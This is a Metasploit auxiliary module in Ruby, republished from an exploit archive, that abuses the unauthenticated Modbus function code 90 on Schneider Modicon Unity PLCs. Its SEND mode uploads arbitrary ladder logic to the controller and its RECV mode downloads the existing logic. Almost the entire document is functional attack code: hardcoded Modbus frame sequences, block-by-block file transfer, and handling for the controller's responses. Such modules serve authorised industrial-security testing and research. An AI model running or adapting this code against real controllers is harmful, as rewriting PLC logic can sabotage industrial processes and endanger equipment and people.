Share
## https://sploitus.com/exploit?id=PACKETSTORM:180787
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Rex::Socket::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',  
'Description' => %q{  
The Schneider Modicon with Unity series of PLCs use Modbus function  
code 90 (0x5a) to send and receive ladder logic. The protocol is  
unauthenticated, and allows a rogue host to retrieve the existing  
logic and to upload new logic.  
  
Two modes are supported: "SEND" and "RECV," which behave as one might  
expect -- use 'set mode ACTIONAME' to use either mode of operation.  
  
In either mode, FILENAME must be set to a valid path to an existing  
file (for SENDing) or a new file (for RECVing), and the directory must  
already exist. The default, 'modicon_ladder.apx' is a blank  
ladder logic file which can be used for testing.  
  
This module is based on the original 'modiconstux.rb' Basecamp module from  
DigitalBond.  
},  
'Author' =>  
[  
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module  
'todb' # Metasploit fixups  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]  
],  
'DisclosureDate' => '2012-04-05'  
))  
  
register_options(  
[  
OptString.new('FILENAME',  
[  
true,  
"The file to send or receive",  
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")  
]),  
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",  
[  
"SEND",  
"RECV"  
]  
]),  
Opt::RPORT(502)  
])  
  
end  
  
def run  
unless valid_filename?  
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"  
return nil  
end  
@modbuscounter = 0x0000 # used for modbus frames  
connect  
init  
case datastore['MODE']  
when "SEND"  
writefile  
when "RECV"  
readfile  
end  
end  
  
def valid_filename?  
if datastore['MODE'] == "SEND"  
File.readable? datastore['FILENAME']  
else  
File.writable?(File.split(datastore['FILENAME'])[0].to_s)  
end  
end  
  
# this is used for building a Modbus frame  
# just prepends the payload with a modbus header  
def makeframe(packetdata)  
if packetdata.size > 255  
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")  
return  
end  
payload = ""  
payload += [@modbuscounter].pack("n")  
payload += "\x00\x00\x00" #dunno what these are  
payload += [packetdata.size].pack("c") # size byte  
payload += packetdata  
end  
  
# a wrapper just to be sure we increment the counter  
def sendframe(payload)  
sock.put(payload)  
@modbuscounter += 1  
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.  
r = sock.recv(65535, 0.1)  
return r  
end  
  
# This function sends some initialization requests  
# required for priming the Quantum  
def init  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x03\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x01\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x0a\x00"  
(0..0xf9).each { |x| payload += [x].pack("c") }  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"  
payload += "USER-714E74F21B" # Yep, really  
#payload += "META-SPLOITMETA"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x12"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
end  
  
# Write the contents of local file filename to the target's filenumber  
# blank logic files will be available on the Digital Bond website  
def writefile  
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"  
blocksize = 244 # bytes per block in file transfer  
buf = File.binread(datastore['FILENAME'])  
fullblocks = buf.length / blocksize  
if fullblocks > 255  
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")  
return  
end  
lastblocksize = buf.length - (blocksize*fullblocks)  
fileblocks = fullblocks  
if lastblocksize != 0  
fileblocks += 1  
end  
filetype = buf[0..2]  
if filetype == "APX"  
filenum = "\x01"  
elsif filetype == "APB"  
filenum = "\x10"  
end  
payload = "\x00\x5a\x00\x03\x01"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x00\x02"  
sendframe(makeframe(payload))  
payload = "\x00\x5a\x01\x30\x00"  
payload += filenum  
response = sendframe(makeframe(payload))  
if response[8..9] == "\x01\xfe"  
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")  
else  
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")  
return  
end  
payload = "\x00\x5a\x01\x04"  
sendframe(makeframe(payload))  
block = 1  
block2status = 0 # block 2 must always be sent twice  
while block <= fullblocks  
payload = "\x00\x5a\x01\x31\x00"  
payload += filenum  
payload += [block].pack("c")  
payload += "\x00\xf4\x00"  
payload += buf[((block - 1) * 244)..((block * 244) - 1)]  
res = sendframe(makeframe(payload))  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"  
if res[8..9] != "\x01\xfe"  
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")  
return  
end  
# redo this iteration of the loop if we're on block 2  
if block2status == 0 and block == 2  
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")  
block2status = 1  
redo  
end  
block += 1  
end  
if lastblocksize > 0  
payload = "\x00\x5a\x01\x31\x00"  
payload += filenum  
payload += [block].pack("c")  
payload += "\x00" + [lastblocksize].pack("c") + "\x00"  
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"  
res = sendframe(makeframe(payload))  
if res[8..9] != "\x01\xfe"  
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")  
return  
end  
end  
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"  
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"  
sendframe(makeframe(payload))  
end  
  
# Only reading the STL file is supported at the moment :(  
def readfile  
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"  
file = File.open(datastore['FILENAME'], 'wb')  
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"  
response = sendframe(makeframe(payload))  
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")  
block = 1  
filedata = ""  
finished = false  
while !finished  
payload = "\x00\x5a\x01\x34\x00\x01"  
payload += [block].pack("c")  
payload += "\x00"  
response = sendframe(makeframe(payload))  
filedata += response[0xe..-1]  
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"  
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?  
finished = true  
else  
block += 1  
end  
end  
print_status("#{rhost}:#{rport} - MODBUS - Closing file")  
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"  
sendframe(makeframe(payload))  
file.print filedata  
file.close  
end  
  
def cleanup  
disconnect rescue nil  
end  
end